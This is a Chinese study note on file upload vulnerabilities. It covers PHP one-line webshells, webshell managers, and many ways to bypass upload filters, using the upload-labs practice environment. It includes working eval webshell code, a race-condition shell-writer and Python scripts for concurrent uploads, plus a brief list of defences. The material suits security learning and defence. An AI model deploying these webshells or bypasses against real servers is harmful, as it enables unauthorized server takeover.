文件上传漏洞
内容为学习笔记,如有侵权,联系删除
文件上传之一句话木马解析
POST接受一个参数,eval执行,@作为忽略错误作用,非必须,也可以用GET形式的一句话木马,但是GET有长度限制,POST更好;
system():执行操作系统命令
文件上传之webshell介绍
一句话木马只是webshell中的一种
一句话木马特点
代码短,只有一行代码。
场景多,可以单独生成文件,也可以插入到图片中。
安全性高,隐匿性强,可变形免杀
小马特点
能放文件的网站我们可以在木马中添加文件上传功能
体积小,功能少
只有文件上传功能
大马特点
体积大,功能全。能够管理数据库、文件管理、
对站点进行快速的信息收集,甚至能够提权。
项目地址
https://github.com/tennc/webshell
文件上传之webshell管理工具
蚁剑
weevely:命令行工具,kali自带,可以自己生成一句话木马
weevely 目标url 密码
冰蝎
动态二进制加密网站管理客户端,自带多个一句话木马
哥斯拉
需要Java环境,需要自己生成一句话木马,加密流量,可绕过多种waf和静态拦截等
密码密钥默认,有效载荷就是需要生成什么环境的木马,有加密方式,可用base64,异或等
工具在连接时可以添加cookie值以完成相关用户校验
文件上传之概念及危害
文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务器端命令的能力。
- 挂黑链
- 挖矿
- 敏感信息泄露
- 进一步提权入侵
文件上传之注入流程
-
找到上传的功能,没有的话可以通过数据库比如redis未授权和持久化机制KV写入木马,MySQL的读写机制写入木马
自动找到网站中文件上传的点:
https://github.com/almandin/fuxploider
-
尝试绕过校验,上传文件
-
获得文件位置
-
蚁剑连接,管理文件
文件上传之类型及绕过
白名单:只有某某类型的能通过
黑名单:某某类型的不能通过
前端校验
-
前端JS控制
禁用或者删除源码中的JS代码
后端检验
MIME校验
MIME:http请求中的文件拓展类型
客户端使用:
1、GET请求不需要这个字段。
2、POST请求头,放在Content Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的响应类型。比如只能接收json或者其他。
服务端使用:
放在响应头里面,Content Type告诉客户端响应的数据类型,方便客户端解析
以下是一些常见的MIME类型列表:
MIME类型 | 描述 |
---|---|
text/plain | 纯文本文件 |
text/html | HTML文件 |
text/css | CSS文件 |
text/xml | XML文件 |
text/javascript | JavaScript文件 |
image/jpeg | JPEG图片 |
image/png | PNG图片 |
image/gif | GIF图片 |
image/svg+xml | SVG图像 |
image/bmp | BMP图片 |
image/webp | WebP图片 |
audio/mpeg | MP3音频 |
audio/wav | WAV音频 |
audio/midi | MIDI音频 |
audio/ogg | Ogg音频 |
video/mp4 | MP4视频 |
video/quicktime | QuickTime视频 |
video/webm | WebM视频 |
video/mpeg | MPEG视频 |
application/pdf | PDF文件 |
application/json | JSON文件 |
application/xml | XML文件 |
application/javascript | JavaScript文件 |
application/octet-stream | 二进制文件 |
application/zip | ZIP压缩文件 |
BP抓包修改content-type,修改为可以通过的MIME类型
文件扩展名校验
- 等价扩展名绕过
文件拓展名 | 等价拓展名 |
---|---|
.php | .php2, .php3, .php4, .php5, .phps, .phtml |
.asp | .aspx, .asa, .cer, .cdx |
.asp | .aspq, .asmx, .ascx, ashx, .asax, |
.jsp | .jspx, .jsw, .jspf, .jspa, .jhtml |
.html | .htm |
.zip | .jar, .war, .ear |
.rar | .cbr |
.png | .apng |
.jpeg | .jpg, .jpe |
.gif | .giff, .gfa |
-
禁止相似后缀
-
.htaccess绕过
Hypertext Access(超文本入口)
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。
通过 .htaccess 文件,可以实现:网页 301 重定向、自定义404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,网页伪静态(原来是参数请求的动态形式改为html的伪静态形式)就是用这个实现的
<FilesMatch "a.jpg"> SetHandler application/x-httpd-php //MIME类型 </FilesMatch> //将a.jpg当作php文件处理
把.htaccess上传上去,再上传就可成功
-
大小写绕过
shell.PHP
-
空格绕过
windows会自动去掉后缀中的空格,低版本php,抓包改包后缀最后加空格。
-
点绕过
windows会自动去掉后缀中的点如1.php.会解析为1.php,我们可以抓包后加在后缀中加点上传
-
::$DATA绕过
抓包,在filename后添加::$DATA,与上述原理一样
-
点空格点绕过
抓包,在filename后添加. .
-
双写绕过
用于黑名单替换文件名为空,shell.pphphp变为shell.php
-
文件路径可控
Content-Disposition处理保存文件名,与保存路径拼接
-
%00截断(保存路径在url中用)
在保存路径文件名写好后拼接%00,然后Content-Disposition出修改文件为可通过类型即可上传成功
../upload/shell.php%00 Content-Disposition:.....;filename="shell.png"
-
0x00截断(保存路径在内容中用)
../upload/shell.php+ //加号用来占位然后用十六进制HEX改为00并保存 filename="shell.png"
文件头检查
-
图片马
Windows命令将图片与php文件合为一个文件 copy 图片 /b + 木马 /a 目标文件名 Linux中 cat 图片 木马>目标文件名
使用文件包含漏洞可以执行图片中的代码
../include.php?file=upload/shell.gif
-
getimagesize
获取图片大小,并校验以此验证是否为真正的图片,防止使用图片文件头木马直接绕过,上传一个真正的图片马即可绕过
-
exif_imagetype
读取图像的第一个字节并检查文件头,和文件头检查基本一致
二次渲染
对比发现会删掉木马内容,需要把一句话木马放在不会被删掉的地方,制作不会被去掉代码的图片马,有现成的图片马
条件竞争之检查文件
把文件传到新的位置,保存->判断->删除->删除完毕;我们可操作的地方是判断与删除中间的时间差
条件竞争文件
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?> //在服务器写shell.php木马
在浏览器访问该文件即可执行,需要在判断与删除的时间差内访问才可执行
那么就需要不断地去上传该文件让服务器不断判断才可存在时间差
方法:
使用bp的intruder模块,不需要payload,类型type选NULL payloads,payload options选Continue indefinitely,Resource pool可以将线程调大一些,Name:con20,选择Maximum concurrent requests:20,即是使用20的并发线程,开始爆破,然后使用浏览器访问刷新即可
也可以使用一个代码脚本去访问执行
import requests
url = "http://localhost:7298/upload-labs/upload/competition.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
条件竞争之文件重命名
文件重命名竞争,shell.php.*文件会被当做php文件执行,我们使用一个可通过的后缀如shell.php.7z,在重命名条件竞争使得该文件不被重命名,然后该文件就会被当作php文件执行。
Intruder并发上传,直到得到一个未被重命名的文件
#!/usr/bin/env python
# coding:utf-8
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-19/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------86293687427413988953373644740
Content-Length: 462
Origin: http://localhost
Connection: close
Referer: http://localhost/upload-labs/Pass-19/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------86293687427413988953373644740
Content-Disposition: form-data; name="upload_file"; filename="shell.php.7z"
Content-Type: application/octet-stream
<?php
header("Content-type:text/html;charset=gb1232");
echo "<pre>";
@eval($_POST['wuya']);
?>
-----------------------------86293687427413988953373644740
Content-Disposition: form-data; name="submit"
涓婁紶
-----------------------------86293687427413988953373644740--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-19/index.php', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()
文件名可控
文件名通过POST传递,可以控制,编辑
前提是黑名单校验,后面加/.会自动忽略
shell.php/.
软连接上传
只能上传压缩包并解压的形式可以使用软连接,软连接指向目标文件访问目标软连接文件就可以造成任意文件读取
软连接文件上传例题链接https://blog.csdn.net/rfrder/article/details/121321220
先创建一个指向 /var/www/html 的软链接,然后再把它压缩,使用 -y ,这样在压缩的时候可以保存软
链接,在目录下面写个马,按原路径+文件名方式连接马,
文件上传漏洞之防御
限制文件类型
- 前端后端
- 白名单黑名单
- MIME类型
- 扩展名
- 文件头
- 二次渲染
- 大小写处理
- 特殊符号删除
文件重命名、隐藏路径
- 需要防止源码泄露代码审计